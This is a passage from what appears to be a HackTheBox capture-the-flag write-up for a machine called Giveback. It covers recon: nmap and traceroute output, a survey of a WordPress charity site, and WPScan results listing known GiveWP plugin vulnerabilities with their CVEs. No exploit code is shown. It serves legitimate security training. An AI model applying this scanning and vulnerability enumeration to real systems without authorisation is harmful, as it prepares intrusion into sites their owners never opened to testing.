          <svg width="20" height="20" viewBox="0 0 20 20" fill="none" xmlns="http://www.w3.org/2000/svg"><path fill-rule="evenodd" clip-rule="evenodd" d="M9.17728 1.8663C9.39181 1.53976 9.75455 1.36377 10.1194 1.36377C10.4845 1.36377 10.8474 1.53992 11.0619 1.86677C11.2785 2.19751 11.5887 2.67967 11.9582 3.25725C12.1814 3.60619 12.0794 4.07 11.7305 4.29319C11.3816 4.51638 10.9178 4.41445 10.6946 4.06551C10.479 3.72853 10.285 3.42614 10.1186 3.16844C9.45753 4.18835 8.37959 5.89633 7.40828 7.656C6.83514 8.69432 6.30663 9.73721 5.92344 10.6594C5.52883 11.609 5.32959 12.3362 5.32959 12.7789C5.32959 15.1536 7.4206 17.172 10.1194 17.172C11.6175 17.172 12.9428 16.5425 13.8158 15.5721C14.0929 15.2641 14.5671 15.239 14.875 15.5161C15.183 15.7931 15.208 16.2673 14.931 16.5753C13.7716 17.8641 12.0399 18.672 10.1194 18.672C6.69911 18.672 3.82959 16.0851 3.82959 12.7789C3.82959 12.0155 4.13669 11.0502 4.53827 10.0838C4.95126 9.08991 5.50879 7.99321 6.09505 6.93112C7.26832 4.80557 8.58701 2.76434 9.17728 1.8663Z" fill="currentColor" /><path d="M10.7 13.5H9.3V12.1H10.7V13.5ZM10.7 10.7H9.3V6.5H10.7V10.7Z" fill="currentColor" /></svg>
          <span class="htb-blood-label">Root</span>
        </div>
        <div class="htb-blood-info">
          <span class="htb-blood-time"><span class="htb-blood-clock">02:53:15</span></span><a href="https://app.hackthebox.com/users/390025" target="_blank" rel="noopener"><img alt="ff5" src="https://www.hackthebox.com/badge/image/390025" style="display: unset" onerror="this.style.display='none'; this.nextSibling.style.display='inline';" /><span class="user-text" style="display: none"> ff5</span></a><br /></div>
      </div>
      
      <div class="htb-card-row htb-card-blue">
        <span class="htb-card-label">Creator</span>
        
<a href="https://app.hackthebox.com/users/106224" target="_blank" rel="noopener"><img alt="babywyrm" src="https://www.hackthebox.com/badge/image/106224" style="display: unset" onerror="this.style.display='none'; this.nextSibling.style.display='inline';" /><span class="user-text" style="display: none"> babywyrm</span></a><br />
      </div>
    </div>

    
  </div>
</div>
<h2 id="recon">Recon</h2>

<h3 id="initial-scanning">Initial Scanning</h3>

<p><code class="language-plaintext highlighter-rouge">nmap</code> finds three open TCP ports, SSH (22), and HTTP (80, 30686):</p>

<div class="language-console code-collapse highlighter-rouge" data-trunc="1300"><div class="highlight"><pre class="highlight"><code><span class="gp">oxdf@hacky$</span><span class="w"> </span><span class="nb">sudo </span>nmap <span class="nt">-p-</span> <span class="nt">-vvv</span> <span class="nt">--min-rate</span> 10000 10.129.242.171
<span class="go">Starting Nmap 7.94SVN ( https://nmap.org ) at 2026-02-13 22:59 UTC
...[snip]...
Nmap scan report for 10.129.242.171
Host is up, received echo-reply ttl 63 (0.022s latency).
Scanned at 2026-02-13 22:59:51 UTC for 8s
Not shown: 62779 closed tcp ports (reset), 2753 filtered tcp ports (no-response)
PORT      STATE SERVICE REASON
22/tcp    open  ssh     syn-ack ttl 63
80/tcp    open  http    syn-ack ttl 62
30686/tcp open  unknown syn-ack ttl 63

Read data files from: /usr/bin/../share/nmap
Nmap done: 1 IP address (1 host up) scanned in 8.11 seconds
           Raw packets sent: 78069 (3.435MB) | Rcvd: 62787 (2.511MB)
</span><span class="gp">oxdf@hacky$</span><span class="w"> </span>nmap <span class="nt">-p</span> 22,80,30686 <span class="nt">-sCV</span> 10.129.242.171
<span class="go">Starting Nmap 7.94SVN ( https://nmap.org ) at 2026-02-13 23:00 UTC
Starting Nmap 7.94SVN ( https://nmap.org ) at 2026-02-13 23:00 UTC
Nmap scan report for 10.129.242.171
Host is up (0.022s latency).

PORT      STATE SERVICE VERSION
22/tcp    open  ssh     OpenSSH 8.9p1 Ubuntu 3ubuntu0.13 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   256 66:f8:9c:58:f4:b8:59:bd:cd:ec:92:24:c3:97:8e:9e (ECDSA)
|_  256 96:31:8a:82:1a:65:9f:0a:a2:6c:ff:4d:44:7c:d3:94 (ED25519)
80/tcp    open  http    nginx 1.28.0
|_http-generator: WordPress 6.8.1
|_http-server-header: nginx/1.28.0
|_http-title: GIVING BACK IS WHAT MATTERS MOST &amp;#8211; OBVI
30686/tcp open  unknown
| fingerprint-strings:
|   FourOhFourRequest:
|     HTTP/1.0 200 OK
|     Content-Type: application/json
|     X-Content-Type-Options: nosniff
|     X-Load-Balancing-Endpoint-Weight: 1
|     Date: Fri, 13 Feb 2026 23:01:16 GMT
|     Content-Length: 127
|     "service": {
|     "namespace": "default",
|     "name": "wp-nginx-service"
|     "localEndpoints": 1,
|     "serviceProxyHealthy": true
|   GenericLines, Help, Kerberos, RTSPRequest, SSLSessionReq, TLSSessionReq, TerminalServerCookie:
|     HTTP/1.1 400 Bad Request
|     Content-Type: text/plain; charset=utf-8
|     Connection: close
|     Request
|   GetRequest, HTTPOptions:
|     HTTP/1.0 200 OK
|     Content-Type: application/json
|     X-Content-Type-Options: nosniff
|     X-Load-Balancing-Endpoint-Weight: 1
|     Date: Fri, 13 Feb 2026 23:00:47 GMT
|     Content-Length: 127
|     "service": {
|     "namespace": "default",
|     "name": "wp-nginx-service"
|     "localEndpoints": 1,
|_    "serviceProxyHealthy": true
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port30686-TCP:V=7.94SVN%I=7%D=2/13%Time=698FAD17%P=x86_64-pc-linux-gnu%
SF:r(GenericLines,67,"HTTP/1\.1\x20400\x20Bad\x20Request\r\nContent-Type:\
SF:x20text/plain;\x20charset=utf-8\r\nConnection:\x20close\r\n\r\n400\x20B
SF:ad\x20Request")%r(GetRequest,132,"HTTP/1\.0\x20200\x20OK\r\nContent-Typ
SF:e:\x20application/json\r\nX-Content-Type-Options:\x20nosniff\r\nX-Load-
SF:Balancing-Endpoint-Weight:\x201\r\nDate:\x20Fri,\x2013\x20Feb\x202026\x
SF:2023:00:47\x20GMT\r\nContent-Length:\x20127\r\n\r\n{\n\t\"service\":\x2
SF:0{\n\t\t\"namespace\":\x20\"default\",\n\t\t\"name\":\x20\"wp-nginx-ser
SF:vice\"\n\t},\n\t\"localEndpoints\":\x201,\n\t\"serviceProxyHealthy\":\x
SF:20true\n}")%r(HTTPOptions,132,"HTTP/1\.0\x20200\x20OK\r\nContent-Type:\
SF:x20application/json\r\nX-Content-Type-Options:\x20nosniff\r\nX-Load-Bal
SF:ancing-Endpoint-Weight:\x201\r\nDate:\x20Fri,\x2013\x20Feb\x202026\x202
SF:3:00:47\x20GMT\r\nContent-Length:\x20127\r\n\r\n{\n\t\"service\":\x20{\
SF:n\t\t\"namespace\":\x20\"default\",\n\t\t\"name\":\x20\"wp-nginx-servic
SF:e\"\n\t},\n\t\"localEndpoints\":\x201,\n\t\"serviceProxyHealthy\":\x20t
SF:rue\n}")%r(RTSPRequest,67,"HTTP/1\.1\x20400\x20Bad\x20Request\r\nConten
SF:t-Type:\x20text/plain;\x20charset=utf-8\r\nConnection:\x20close\r\n\r\n
SF:400\x20Bad\x20Request")%r(Help,67,"HTTP/1\.1\x20400\x20Bad\x20Request\r
SF:\nContent-Type:\x20text/plain;\x20charset=utf-8\r\nConnection:\x20close
SF:\r\n\r\n400\x20Bad\x20Request")%r(SSLSessionReq,67,"HTTP/1\.1\x20400\x2
SF:0Bad\x20Request\r\nContent-Type:\x20text/plain;\x20charset=utf-8\r\nCon
SF:nection:\x20close\r\n\r\n400\x20Bad\x20Request")%r(TerminalServerCookie
SF:,67,"HTTP/1\.1\x20400\x20Bad\x20Request\r\nContent-Type:\x20text/plain;
SF:\x20charset=utf-8\r\nConnection:\x20close\r\n\r\n400\x20Bad\x20Request"
SF:)%r(TLSSessionReq,67,"HTTP/1\.1\x20400\x20Bad\x20Request\r\nContent-Typ
SF:e:\x20text/plain;\x20charset=utf-8\r\nConnection:\x20close\r\n\r\n400\x
SF:20Bad\x20Request")%r(Kerberos,67,"HTTP/1\.1\x20400\x20Bad\x20Request\r\
SF:nContent-Type:\x20text/plain;\x20charset=utf-8\r\nConnection:\x20close\
SF:r\n\r\n400\x20Bad\x20Request")%r(FourOhFourRequest,132,"HTTP/1\.0\x2020
SF:0\x20OK\r\nContent-Type:\x20application/json\r\nX-Content-Type-Options:
SF:\x20nosniff\r\nX-Load-Balancing-Endpoint-Weight:\x201\r\nDate:\x20Fri,\
SF:x2013\x20Feb\x202026\x2023:01:16\x20GMT\r\nContent-Length:\x20127\r\n\r
SF:\n{\n\t\"service\":\x20{\n\t\t\"namespace\":\x20\"default\",\n\t\t\"nam
SF:e\":\x20\"wp-nginx-service\"\n\t},\n\t\"localEndpoints\":\x201,\n\t\"se
SF:rviceProxyHealthy\":\x20true\n}");
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 108.47 seconds
</span></code></pre></div></div>

<p>Based on the <a href="/cheatsheets/os#ubuntu">OpenSSH version</a>, the host is likely running Ubuntu 22.04 jammy LTS. The nginx version is very close to the <a href="https://sources.debian.org/patches/nginx/">version currently</a> in SID (the unstable development branch) and Debian 14 Forky (coming in 2027).</p>

<p>There’s one additional hop to get to the webserver on 80:</p>

<div class="language-console highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gp">oxdf@hacky$</span><span class="w"> </span><span class="nb">sudo </span>lft 10.129.242.171:22
<span class="go">Tracing ...T
TTL LFT trace to 10.129.242.171:22/tcp
 1  10.10.14.1 21.4ms
 2  [target open] 10.129.242.171:22 21.7ms
</span><span class="gp">oxdf@hacky$</span><span class="w"> </span><span class="nb">sudo </span>lft 10.129.242.171:80
<span class="go">Tracing ....T
TTL LFT trace to 10.129.242.171:80/tcp
 1  10.10.14.1 21.0ms
 2  10.129.242.171 21.4ms
 3  [target open] 10.129.242.171:80 21.8ms
</span><span class="gp">oxdf@hacky$</span><span class="w"> </span><span class="nb">sudo </span>lft 10.129.242.171:30686
<span class="go">Tracing ...T
TTL LFT trace to 10.129.242.171:30686/tcp
 1  10.10.14.1 24.3ms
 2  [target open] 10.129.242.171:30686 21.5ms
</span></code></pre></div></div>

<p>That extra hop to port 80 suggests the web traffic is being routed through a container network, while SSH and 30686 are handled directly by the host. The TTLs of 63 are consistent with the <a href="/cheatsheets/os#os-identification">expected TTL</a> for Linux one hop away.</p>

<h3 id="website---tcp-80">Website - TCP 80</h3>

<h4 id="site">Site</h4>

<p>The site is a charity site:</p>

<picture>
    <source type="image/webp" srcset="/img/image-20260213203917022.webp" />
    <img loading="lazy" src="/img/image-20260213203917022.png" alt="image-20260213203917022" class="include_image " />
</picture>

<p>The single post has some hints about “new technologies” and a potential username, babywyrm:</p>

<picture>
    <source type="image/webp" srcset="/img/image-20260213204013602.webp" />
    <img loading="lazy" src="/img/image-20260213204013602.png" alt="image-20260213204013602" class="include_image " />
</picture>

<p>The site is super broken. There’s a link at the top in the menu bar for “Donation Failed” that returns a donation failure page:</p>

<picture>
    <source type="image/webp" srcset="/img/image-20260213204423052.webp" />
    <img loading="lazy" src="/img/image-20260213204423052.png" alt="image-20260213204423052" class="include_image " />
</picture>

<p>In the search bar, searching for common words like “a” and “the” finds another page, which sits at <code class="language-plaintext highlighter-rouge">/sample-page/</code>:</p>

<picture>
    <source type="image/webp" srcset="/img/image-20260213204508598.webp" />
    <img loading="lazy" src="/img/image-20260213204508598.png" alt="image-20260213204508598" class="include_image " />
</picture>

<p>That page offers a form to donate:</p>

<div style="position: relative; min-height: 700px;">
    <picture>
        <source type="image/webp" srcset="/img/image-20260213204530895.webp" />
        <img loading="lazy" src="/img/image-20260213204530895.png" alt="image-20260213204530895" style="max-height: 700px; object-fit: cover; object-position: top; width: -webkit-fill-available; mask-image: linear-gradient(rgb(0, 0, 0), rgb(0,0,0) calc(100% - 100px), rgba(0,0,0,0) calc(100% - 20px)); -webkit-mask-image: linear-gradient(rgb(0, 0, 0), rgb(0,0,0) calc(100% - 100px), rgba(0,0,0,0) calc(100% - 20px));" class="include_image " />
    </picture>
    <a href="javascript:void(0)" onclick="click_expand_image(event)" style="position: absolute; bottom: 35px; right: 15px;" title="Click to expand for full content"><img src="/icons/expand.png" alt="expand" class="expand-contract" /></a>
</div>

<p>There’s also a “Donor Dashboard” link that leads to a page that requires a login:</p>

<picture>
    <source type="image/webp" srcset="/img/image-20260213204602159.webp" />
    <img loading="lazy" src="/img/image-20260213204602159.png" alt="image-20260213204602159" class="include_image " />
</picture>

<p>There are some links on the site that load <code class="language-plaintext highlighter-rouge">giveback.htb</code>, so I’ll add that to my <code class="language-plaintext highlighter-rouge">/etc/hosts</code> file.</p>

<h4 id="tech-stack">Tech Stack</h4>

<p>The HTTP response headers show nginx, but also references to “wp”, which typically means WordPress:</p>

<div class="language-http highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">HTTP</span><span class="o">/</span><span class="m">1.1</span> <span class="m">200</span> <span class="ne">OK</span>
<span class="na">Server</span><span class="p">:</span> <span class="s">nginx/1.28.0</span>
<span class="na">Date</span><span class="p">:</span> <span class="s">Sat, 14 Feb 2026 01:38:45 GMT</span>
<span class="na">Content-Type</span><span class="p">:</span> <span class="s">text/html; charset=UTF-8</span>
<span class="na">Content-Length</span><span class="p">:</span> <span class="s">54335</span>
<span class="na">Connection</span><span class="p">:</span> <span class="s">keep-alive</span>
<span class="na">Link</span><span class="p">:</span> <span class="s">&lt;http://10.129.242.171/wp-json/&gt;; rel="https://api.w.org/"</span>
<span class="na">Vary</span><span class="p">:</span> <span class="s">Accept-Encoding</span>
</code></pre></div></div>

<p>The source has tons of “wp” strings, including the path <code class="language-plaintext highlighter-rouge">wp-includes</code> (which is classic WordPress):</p>

<p><a href="/img/image-20260213204732388.png"><img src="/img/image-20260213204732388.png" alt="image-20260213204732388" /><em>Click for full size image</em></a></p>

<p>The 404 page is custom:</p>

<picture>
    <source type="image/webp" srcset="/img/image-20260213204816198.webp" />
    <img loading="lazy" src="/img/image-20260213204816198.png" alt="image-20260213204816198" class="include_image " />
</picture>

<p>Wappalyzer shows WordPress version 6.8.1:</p>

<picture>
    <source type="image/webp" srcset="/img/image-20260213205913945.webp" />
    <img loading="lazy" src="/img/image-20260213205913945.png" alt="image-20260213205913945" class="include_image " />
</picture>

<p>It also shows the <a href="https://givewp.com/">GiveWP</a> plugin.</p>

<h4 id="wpscan">WPScan</h4>

<p>I’ll run <a href="https://github.com/wpscanteam/wpscan">WPScan</a> against the site to see what pops out:</p>

<div class="language-console code-collapse highlighter-rouge" data-trunc="300"><div class="highlight"><pre class="highlight"><code><span class="gp">oxdf@hacky$</span><span class="w"> </span>wpscan <span class="nt">--url</span> http://giveback.htb <span class="nt">-e</span> ap,u
<span class="go">_______________________________________________________________
         __          _______   _____
         \ \        / /  __ \ / ____|
          \ \  /\  / /| |__) | (___   ___  __ _ _ __ ®
           \ \/  \/ / |  ___/ \___ \ / __|/ _` | '_ \
            \  /\  /  | |     ____) | (__| (_| | | | |
             \/  \/   |_|    |_____/ \___|\__,_|_| |_|

         WordPress Security Scanner by the WPScan Team
                         Version 3.8.28

       @_WPScan_, @ethicalhack3r, @erwan_lr, @firefart
_______________________________________________________________

[i] Updating the Database ...
[i] Update completed.

[+] URL: http://giveback.htb/ [10.129.242.171]
[+] Started: Sat Feb 14 01:53:42 2026

Interesting Finding(s):

[+] Headers
 | Interesting Entry: Server: nginx/1.28.0
 | Found By: Headers (Passive Detection)
 | Confidence: 100%

[+] robots.txt found: http://giveback.htb/robots.txt
 | Interesting Entries:
 |  - /wp-admin/
 |  - /wp-admin/admin-ajax.php
 | Found By: Robots Txt (Aggressive Detection)
 | Confidence: 100%

[+] WordPress readme found: http://giveback.htb/readme.html
 | Found By: Direct Access (Aggressive Detection)
 | Confidence: 100%

[+] WordPress version 6.8.1 identified (Insecure, released on 2025-04-30).
 | Found By: Emoji Settings (Passive Detection)
 |  - http://giveback.htb/, Match: 'wp-includes\/js\/wp-emoji-release.min.js?ver=6.8.1'
 | Confirmed By: Meta Generator (Passive Detection)
 |  - http://giveback.htb/, Match: 'WordPress 6.8.1'
 |
 | [!] 2 vulnerabilities identified:
 |
 | [!] Title: WP &lt; 6.8.3 - Author+ DOM Stored XSS
 |     Fixed in: 6.8.3
 |     References:
 |      - https://wpscan.com/vulnerability/c4616b57-770f-4c40-93f8-29571c80330a
 |      - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2025-58674
 |      - https://patchstack.com/database/wordpress/wordpress/wordpress/vulnerability/wordpress-wordpress-wordpress-6-8-2-cross-site-scripting-xss-vulnerability
 |      -  https://wordpress.org/news/2025/09/wordpress-6-8-3-release/
 |
 | [!] Title: WP &lt; 6.8.3 - Contributor+ Sensitive Data Disclosure
 |     Fixed in: 6.8.3
 |     References:
 |      - https://wpscan.com/vulnerability/1e2dad30-dd95-4142-903b-4d5c580eaad2
 |      - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2025-58246
 |      - https://patchstack.com/database/wordpress/wordpress/wordpress/vulnerability/wordpress-wordpress-wordpress-6-8-2-sensitive-data-exposure-vulnerability
 |      - https://wordpress.org/news/2025/09/wordpress-6-8-3-release/

[+] WordPress theme in use: bizberg
 | Location: http://giveback.htb/wp-content/themes/bizberg/
 | Latest Version: 4.2.9.79 (up to date)
 | Last Updated: 2024-06-09T00:00:00.000Z
 | Readme: http://giveback.htb/wp-content/themes/bizberg/readme.txt
 | Style URL: http://giveback.htb/wp-content/themes/bizberg/style.css?ver=6.8.1
 | Style Name: Bizberg
 | Style URI: https://bizbergthemes.com/downloads/bizberg-lite/
 | Description: Bizberg is a perfect theme for your business, corporate, restaurant, ingo, ngo, environment, nature,...
 | Author: Bizberg Themes
 | Author URI: https://bizbergthemes.com/
 |
 | Found By: Css Style In Homepage (Passive Detection)
 | Confirmed By: Css Style In 404 Page (Passive Detection)
 |
 | Version: 4.2.9.79 (80% confidence)
 | Found By: Style (Passive Detection)
 |  - http://giveback.htb/wp-content/themes/bizberg/style.css?ver=6.8.1, Match: 'Version: 4.2.9.79'

[+] Enumerating All Plugins (via Passive Methods)
[+] Checking Plugin Versions (via Passive and Aggressive Methods)

[i] Plugin(s) Identified:

[+] *
 | Location: http://giveback.htb/wp-content/plugins/*/
 |
 | Found By: Urls In Homepage (Passive Detection)
 | Confirmed By: Urls In 404 Page (Passive Detection)
 |
 | The version could not be determined.

[+] give
 | Location: http://giveback.htb/wp-content/plugins/give/
 | Last Updated: 2026-02-11T19:13:00.000Z
 | [!] The version is out of date, the latest version is 4.14.1
 |
 | Found By: Urls In Homepage (Passive Detection)
 | Confirmed By:
 |  Urls In 404 Page (Passive Detection)
 |  Meta Tag (Passive Detection)
 |  Javascript Var (Passive Detection)
 |
 | [!] 22 vulnerabilities identified:
 |
 | [!] Title: GiveWP – Donation Plugin and Fundraising Platform &lt; 3.14.2 - Missing Authorization to Authenticated (Subscriber+) Limited File Deletion
 |     Fixed in: 3.14.2
 |     References:
 |      - https://wpscan.com/vulnerability/528b861e-64bf-4c59-ac58-9240db99ef96
 |      - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2024-5941
 |      - https://www.wordfence.com/threat-intel/vulnerabilities/id/824ec2ba-b701-46e9-b237-53cd7d0e46da
 |
 | [!] Title: GiveWP &lt; 3.14.2 - Unauthenticated PHP Object Injection to RCE
 |     Fixed in: 3.14.2
 |     References:
 |      - https://wpscan.com/vulnerability/fdf7a98b-8205-4a29-b830-c36e1e46d990
 |      - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2024-5932
 |      - https://www.wordfence.com/threat-intel/vulnerabilities/id/93e2d007-8157-42c5-92ad-704dc80749a3
 |
 | [!] Title: GiveWP &lt; 3.16.0 - Unauthenticated Full Path Disclosure
 |     Fixed in: 3.16.0
 |     References:
 |      - https://wpscan.com/vulnerability/6ff11e50-188e-4191-be12-ab4bde9b6d27
 |      - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2024-6551
 |      - https://www.wordfence.com/threat-intel/vulnerabilities/id/2a13ce09-b312-4186-b0e2-63065c47f15d
 |
 | [!] Title: GiveWP – Donation Plugin and Fundraising Platform &lt; 3.16.2 - Authenticated (GiveWP Manager+) SQL Injection via order Parameter
 |     Fixed in: 3.16.2
 |     References:
 |      - https://wpscan.com/vulnerability/aed98bed-b6ed-4282-a20e-995515fd43a1
 |      - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2024-9130
 |      - https://www.wordfence.com/threat-intel/vulnerabilities/id/4a3cae01-620d-405e-baf6-2d66a5b429b3
 |
 | [!] Title: GiveWP – Donation Plugin and Fundraising Platform &lt; 3.16.2 - Unauthenticated PHP Object Injection
 |     Fixed in: 3.16.2
 |     References:
 |      - https://wpscan.com/vulnerability/c1807282-5f15-4b21-81b6-dcb8b03618bd
 |      - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2024-8353
 |      - https://www.wordfence.com/threat-intel/vulnerabilities/id/c4c530fa-eaf4-4721-bfb6-9fc06d7f343c
 |
 | [!] Title: GiveWP &lt; 3.16.0 - Cross-Site Request Forgery
 |     Fixed in: 3.16.0
 |     References:
 |      - https://wpscan.com/vulnerability/582c6a46-486e-41ca-9c45-96dfe8b8ddbb
 |      - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2024-47315
 |      - https://www.wordfence.com/threat-intel/vulnerabilities/id/7ce9bac7-60bb-4880-9e37-4d71f02ee941
 |
 | [!] Title: GiveWP &lt; 3.16.4 - Unauthenticated PHP Object Injection to Remote Code Execution
 |     Fixed in: 3.16.4
 |     References:
 |      - https://wpscan.com/vulnerability/793bdc97-69eb-43c3-aab0-c86a76285f36
 |      - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2024-9634
 |      - https://www.wordfence.com/threat-intel/vulnerabilities/id/b8eb3aa9-fe60-48b6-aa24-7873dd68b47e
 |
 | [!] Title: Give &lt; 3.19.0 - Reflected XSS
 |     Fixed in: 3.19.0
 |     References:
 |      - https://wpscan.com/vulnerability/5f196294-5ba9-45b6-a27c-ab1702cc001f
 |      - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2024-11921
 |
 | [!] Title: GiveWP &lt; 3.19.3 - Unauthenticated PHP Object Injection
 |     Fixed in: 3.19.3
 |     References:
 |      - https://wpscan.com/vulnerability/571542c5-9f62-4e38-baee-6bbe02eec4af
 |      - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2024-12877
 |      - https://www.wordfence.com/threat-intel/vulnerabilities/id/b2143edf-5423-4e79-8638-a5b98490d292
 |
 | [!] Title: GiveWP &lt; 3.19.4 - Unauthenticated PHP Object Injection
 |     Fixed in: 3.19.4
 |     References:
 |      - https://wpscan.com/vulnerability/82afc2f7-948b-495e-8ec2-4cd7bbfe1c61
 |      - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2025-22777
 |      - https://www.wordfence.com/threat-intel/vulnerabilities/id/06a7ff0b-ec6b-490c-9bb0-fbb5c1c337c4
 |
 | [!] Title: GiveWP &lt; 3.20.0 - Unauthenticated PHP Object Injection
 |     Fixed in: 3.20.0
 |     References:
 |      - https://wpscan.com/vulnerability/e27044bd-daab-47e6-b399-de94c45885c5
 |      - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2025-0912
 |      - https://www.wordfence.com/threat-intel/vulnerabilities/id/8a8ae1b0-e9a0-4179-970b-dbcb0642547c
 |
 | [!] Title: Give &lt; 3.22.1 - Missing Authorization to Unauthenticated Arbitrary Earning Reports Disclosure via give_reports_earnings Function
 |     Fixed in: 3.22.1
 |     References:
 |      - https://wpscan.com/vulnerability/ebe88626-2127-4021-aa8e-f2f47e12ad4f
 |      - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2025-2025
 |      - https://www.wordfence.com/threat-intel/vulnerabilities/id/40595943-121d-4492-a0ed-f2de1bd99fda
 |
 | [!] Title: GiveWP – Donation Plugin and Fundraising Platform &lt; 3.22.2 - Authenticated (Subscriber+) Sensitive Information Exposure
 |     Fixed in: 3.22.2
 |     References:
 |      - https://wpscan.com/vulnerability/b331a81b-b7cc-4e0a-a088-26468a835cc5
 |      - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2025-2331
 |      - https://www.wordfence.com/threat-intel/vulnerabilities/id/b4d9acfb-bb9d-4b00-b439-c7ccea751f8d
 |
 | [!] Title: GiveWP – Donation Plugin and Fundraising Platform &lt; 4.3.1 - Missing Authorization To Authenticated (Contributor+) Campaign Data View And Modification
 |     Fixed in: 4.3.1
 |     References:
 |      - https://wpscan.com/vulnerability/f819ea85-bf28-4e8c-b72b-59741e7e9cee
 |      - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2025-4571
 |      - https://www.wordfence.com/threat-intel/vulnerabilities/id/8f03b4ef-e877-430e-a440-3af0feca818c
 |
 | [!] Title: GiveWP – Donation Plugin and Fundraising Platform &lt; 4.6.0 - Authenticated (GiveWP worker+) Stored Cross-Site Scripting
 |     Fixed in: 4.6.0
 |     References:
 |      - https://wpscan.com/vulnerability/fda8eaea-ca20-417a-896b-49c1fa0a1c07
 |      - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2025-7205
 |      - https://www.wordfence.com/threat-intel/vulnerabilities/id/39e501d8-88a0-4625-aeb0-aa33fc89a8d4
 |
 | [!] Title: GiveWP – Donation Plugin and Fundraising Platform &lt; 4.6.1 - Unauthenticated Donor Data Exposure
 |     Fixed in: 4.6.1
 |     References:
 |      - https://wpscan.com/vulnerability/4739fdb8-9444-44b9-8e98-7a299e6fe186
 |      - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2025-8620
 |      - https://www.wordfence.com/threat-intel/vulnerabilities/id/6dc7c5a6-513e-4aa8-9538-0ac6fb37c867
 |
 | [!] Title: GiveWP &lt; 4.6.1 - Missing Authorization to Donation Update
 |     Fixed in: 4.6.1
 |     References:
 |      - https://wpscan.com/vulnerability/bdfb968d-df2b-43ed-9a9c-f9b15d8457f3
 |      - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2025-7221
 |      - https://www.wordfence.com/threat-intel/vulnerabilities/id/8766608e-df72-4b9d-a301-a50c64fadc9a
 |
 | [!] Title: GiveWP – Donation Plugin and Fundraising Platform &lt; 4.10.1 - Missing Authorization to Unauthenticated Forms-Campaign Association
 |     Fixed in: 4.10.1
 |     References:
 |      - https://wpscan.com/vulnerability/5dccab73-e06f-4c01-837b-eddf42ea789d
 |      - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2025-11228
 |      - https://www.wordfence.com/threat-intel/vulnerabilities/id/ddf9a043-5eb6-46fd-88c2-0f5a04f73fc9
 |
 | [!] Title: GiveWP &lt; 4.10.1 - Unauthenticated Forms and Campaigns Disclosure
 |     Fixed in: 4.10.1
 |     References:
 |      - https://wpscan.com/vulnerability/e7a291a5-3846-42e7-b4f2-7b2383326d4c
 |      - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2025-11227
 |      - https://www.wordfence.com/threat-intel/vulnerabilities/id/54db1807-69ff-445c-9e02-9abce9fd3940
 |
 | [!] Title: GiveWP &lt; 4.13.1 - Unauthenticated Stored XSS via 'name'
 |     Fixed in: 4.13.1
 |     References:
 |      - https://wpscan.com/vulnerability/c03133b5-80f0-4d70-ad22-5dbd7e290031
 |      - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2025-13206
 |      - https://www.wordfence.com/threat-intel/vulnerabilities/id/95823720-e1dc-46c1-887b-ffd877b2fbe5
 |
 | [!] Title: GiveWP &lt; 4.13.2 - Cross-Site Request Forgery
 |     Fixed in: 4.13.2
 |     References:
 |      - https://wpscan.com/vulnerability/c7ee6f8c-5b2e-4074-9334-25ceaecc664d
 |      - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2025-67467
 |      - https://www.wordfence.com/threat-intel/vulnerabilities/id/e6a7ec29-6dc6-4c73-8cc4-4aa4da79941e
 |
 | [!] Title: GiveWP &lt; 4.13.2 - Unauthenticated Arbitrary Shortcode Execution
 |     Fixed in: 4.13.2
 |     References:
 |      - https://wpscan.com/vulnerability/3d8f4752-888f-45e3-8232-ca65078bdc98
 |      - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2025-66533
 |      - https://www.wordfence.com/threat-intel/vulnerabilities/id/b9860e0e-e330-42fc-8a74-336ceb787f39
 |
 | Version: 3.14.0 (100% confidence)
 | Found By: Query Parameter (Passive Detection)
 |  - http://giveback.htb/wp-content/plugins/give/assets/dist/css/give.css?ver=3.14.0
 | Confirmed By:
 |  Meta Tag (Passive Detection)
 |   - http://giveback.htb/, Match: 'Give v3.14.0'
 |  Javascript Var (Passive Detection)
 |   - http://giveback.htb/, Match: '"1","give_version":"3.14.0","magnific_options"'

[+] Enumerating Users (via Passive and Aggressive Methods)
 Brute Forcing Author IDs - Time: 00:00:02 &lt;=========================================================&gt; (10 / 10) 100.00% Time: 00:00:02

[i] User(s) Identified:

[+] user
 | Found By: Author Posts - Author Pattern (Passive Detection)
 | Confirmed By:
 |  Wp Json Api (Aggressive Detection)
 |   - http://giveback.htb/wp-json/wp/v2/users/?per_page=100&amp;page=1
 |  Oembed API - Author URL (Aggressive Detection)
 |   - http://giveback.htb/wp-json/oembed/1.0/embed?url=http://giveback.htb/&amp;format=json
 |  Author Sitemap (Aggressive Detection)
 |   - http://giveback.htb/wp-sitemap-users-1.xml
 |  Author Id Brute Forcing - Author Pattern (Aggressive Detection)
 |  Login Error Messages (Aggressive Detection)

